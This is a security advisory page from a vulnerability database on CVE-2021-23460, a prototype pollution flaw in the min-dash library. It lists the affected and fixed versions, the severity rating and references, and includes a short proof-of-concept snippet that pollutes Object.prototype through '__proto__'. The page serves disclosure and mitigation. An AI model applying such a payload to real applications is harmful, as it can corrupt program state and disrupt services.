Advisory Database
  • Advisories
  • Dependency Scanning
  1. maven
  2. ›
  3. org.webjars.npm/min-dash
  4. ›
  5. CVE-2021-23460

CVE-2021-23460: Prototype pollution in min-dash

February 1, 2022 (updated July 18, 2025)

The set method is vulnerable to prototype pollution with specially crafted inputs.

// insert the following into poc.js and run node poc,js (after installing the package)

let parser = require("min-dash");
parser.set({}, [["__proto__"], "polluted"], "success");
console.log(polluted);

References

  • github.com/advisories/GHSA-2m53-83f3-562j
  • github.com/bpmn-io/min-dash
  • github.com/bpmn-io/min-dash/blob/c4d579c0eb2ed0739592111c3906b198921d3f52/lib/object.js
  • github.com/bpmn-io/min-dash/commit/2c6689e2aa29f4b66a4874a2f3003431e9db48d1
  • github.com/bpmn-io/min-dash/pull/21
  • github.com/bpmn-io/min-dash/security/advisories/GHSA-2m53-83f3-562j
  • nvd.nist.gov/vuln/detail/CVE-2021-23460
  • snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2342127
  • snyk.io/vuln/SNYK-JS-MINDASH-2340605

Code Behaviors & Features

Detect and mitigate CVE-2021-23460 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 3.8.1

Fixed versions

  • 3.8.1

Solution

Upgrade to version 3.8.1 or above.

Impact 7.5 HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Source file

maven/org.webjars.npm/min-dash/CVE-2021-23460.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Tue, 19 Aug 2025 12:18:54 +0000.